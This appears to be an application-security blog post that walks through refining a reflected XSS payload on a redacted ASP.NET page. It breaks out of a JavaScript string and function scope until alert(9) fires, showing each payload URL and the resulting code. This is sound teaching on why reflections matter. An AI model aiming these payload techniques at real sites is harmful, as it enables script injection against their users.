HTML injection vulns make a great Voight-Kampff test for showing you care about security. They’re a way to identify those who resort to the excuse, “But it’s not exploitable.”

Blade Runner

The first versions of PCI DSS explicity referenced cross-site scripting (XSS) to encourage sites to take it seriously. Since failure to comply with that standard can lead to fines or loss of credit card processing, it sometimes drove perverse incentives. Every once in a while a site’s owners might refuse to acknowledge a vuln is valid because they don’t see an alert pop up from a test payload. In other words, they claim that the vuln’s risk is negligible since it doesn’t appear to be exploitable.

(They also misunderstand that having a vuln doesn’t automatically mean they’ll face immediate consequences. The standard is about practices and processes for addressing vulns as much as it is for preventing them in the first place.)

In any case, the focus on alert payloads is misguided. If the site reflects arbitrary characters from the user, that’s a bug that should be fixed. And we can almost always refine a payload to make it work. Even for the dead-simple alert.

(1) Probe for Reflected Values

In the simplest form of this exampe, a URL parameter’s value is written into a JavaScript string variable called pageUrl. An easy initial probe is inserting a single quote (%27 in the URL examples):

https://redacted/SomePage.aspx?ACCESS_ERRORCODE=a%27

The code now has an extra quote hanging out at the end of the pageUrl variable:

function SetLanCookie() {
    var index = document.getElementById('selectorControl').selectedIndex;
    var lcname = document.getElementById('selectorControl').options[index].value;
    var pageUrl = '/SomePage.aspx?ACCESS_ERRORCODE=a'';
        if(pageUrl.toLowerCase() == '/OtherPage.aspx'.toLowerCase()){
            var hflanguage = document.getElementById(getClientId().HfLanguage);
            hflanguage.value = '1';
        }
    $.cookie('LanCookie', lcname, {path: '/'});
    __doPostBack('__Page_btnLanguageLink','')
}

But when the devs go to check the vuln, they claim that it’s not possible to issue an alert(). For example, they update the payload with something like this:

https://redacted/SomePage.aspx?ACCESS_ERRORCODE=a%27;alert(9)//

The payload is reflected in the HTML, but no pop up appears. Nor do any variations seem to work. Nothing results in JavaScript execution. There’s a reflection point, but no execution.

(2) Break Out of One Context, Break Into Another

We can be more creative about our payload. HTML injection attacks are a coding exercise like any other – they just tend to be a bit more fun. So, it’s time to debug.

Our payload is reflected inside a JavaScript function scope. Maybe the SetLanCookie() function just isn’t being called within the page. That would explain why the alert() never runs.

A reasonable step is to close the function with a curly brace and dangle a naked alert() within the script block.

https://redacted/SomePage.aspx?ACCESS_ERRORCODE=a%27}alert%289%29;var%20a=%27

The following code confirms that the site still reflects the payload (see line 4). However, our browser still doesn’t launch the desired pop-up.

function SetLanCookie() {
    var index = document.getElementById('selectorControl').selectedIndex;
    var lcname = document.getElementById('selectorControl').options[index].value;
    var pageUrl = '/SomePage.aspx?ACCESS_ERRORCODE=a'}alert(9);var a='';
    if(pageUrl.toLowerCase() == '/OtherPage.aspx'.toLowerCase()){
        var hflanguage = document.getElementById(getClientId().HfLanguage);
        hflanguage.value = '1';
    }
    $.cookie('LanCookie', lcname, {path: '/'});
    __doPostBack('__Page_btnLanguageLink','')
}

But browsers have Developer Consoles that print friendly messages about their activity! Taking a peek at the console output reveals why we have yet to succeed in firing an alert(). The script block still contains syntax errors. Unhappy syntax makes an unhappy browser and an unhappy hacker.

[14:36:45.923] SyntaxError: function statement requires a name @
https://redacted/SomePage.aspx?ACCESS_ERRORCODE=a%27}alert(9);function(){var%20a=%27 SomePage.aspx:345

[14:42:09.681] SyntaxError: syntax error @
https://redacted/SomePage.aspx?ACCESS_ERRORCODE=a%27;}()alert(9);function(){var%20a=%27 SomePage.aspx:345

(3) Capture the Function Body

When we terminate the JavaScript string, we must also remember to maintain clean syntax for what follows the payload. In trivial cases, you can get away with an inline comment like //.

Another trick is to re-capture the remainder of a quoted string with a new variable declaration. In the previous example, this is why there’s a ;var a =' inside the payload.

In this case, we need to re-capture the dangling function body. This is why you should know the JavaScript language rather than just memorize payloads. It’s not hard to make this attack work – just update the payload with an opening function statement, as below:

https://redacted/SomePage.aspx?ACCESS_ERRORCODE=a%27}alert%289%29;function%28%29{var%20a=%27

The page reflects the payload and now we have nice, syntactically happy JavaScript code (whitespace added for legibility).

function SetLanCookie() {
    var index = document.getElementById('selectorControl').selectedIndex;
    var lcname = document.getElementById('selectorControl').options[index].value;
    var pageUrl = '/SomePage.aspx?ACCESS_ERRORCODE=a' } alert(9); function(){ var a='';
    if(pageUrl.toLowerCase() == '/OtherPage.aspx'.toLowerCase()){
        var hflanguage = document.getElementById(getClientId().HfLanguage);
        hflanguage.value = '1';
    }
    $.cookie('LanCookie', lcname, {path: '/'});
    __doPostBack('__Page_btnLanguageLink','')
}

So, we’re almost there. But the pop-up remains elusive. The function still isn’t firing.

(4) Var Your Function

Ah! We created a function, but forgot to name it. Normally, JavaScript doesn’t care about explicit names, but it needs a scope for unnamed, anonymous functions like ours. For example, the following syntax creates and executes an anonymous function that generates an alert:

(function(){alert(9)})()

We don’t need to be that fancy, but it’s nice to remember our options. We’ll assign the function to another var.

https://redacted/SomePage.aspx?ACCESS_ERRORCODE=a%27}alert%289%29;var%20a=function%28%29{var%20a=%27

Finally, we reach a point where the payload inserts an alert() and modifies the surrounding JavaScript context so the browser has nothing to complain about. In fact, the payload is convoluted enough that it doesn’t trigger the browser’s XSS Auditor. (Which you shouldn’t be relying on, anyway. I mention it as a point of trivia.)

Behold the fully exploited page, with spaces added for clarity:

function SetLanCookie() {
    var index = document.getElementById('selectorControl').selectedIndex;
    var lcname = document.getElementById('selectorControl').options[index].value;
    var pageUrl = '/SomePage.aspx?ACCESS_ERRORCODE=a' } alert(9); var a = function(){ var a ='';
    if(pageUrl.toLowerCase() == '/OtherPage.aspx'.toLowerCase()){
        var hflanguage = document.getElementById(getClientId().HfLanguage);
        hflanguage.value = '1';
    }
    $.cookie('LanCookie', lcname, {path: '/'});
    __doPostBack('__Page_btnLanguageLink','')
}

I dream of a world without HTML injection. I also dream of Electric Sheep.

I’ve seen XSS and SQL injection you wouldn’t believe. Articles on fire off the pages of this blog. I watched scanners glitter in the dark near an appsec program. All those moments will be lost in time…like tears in rain.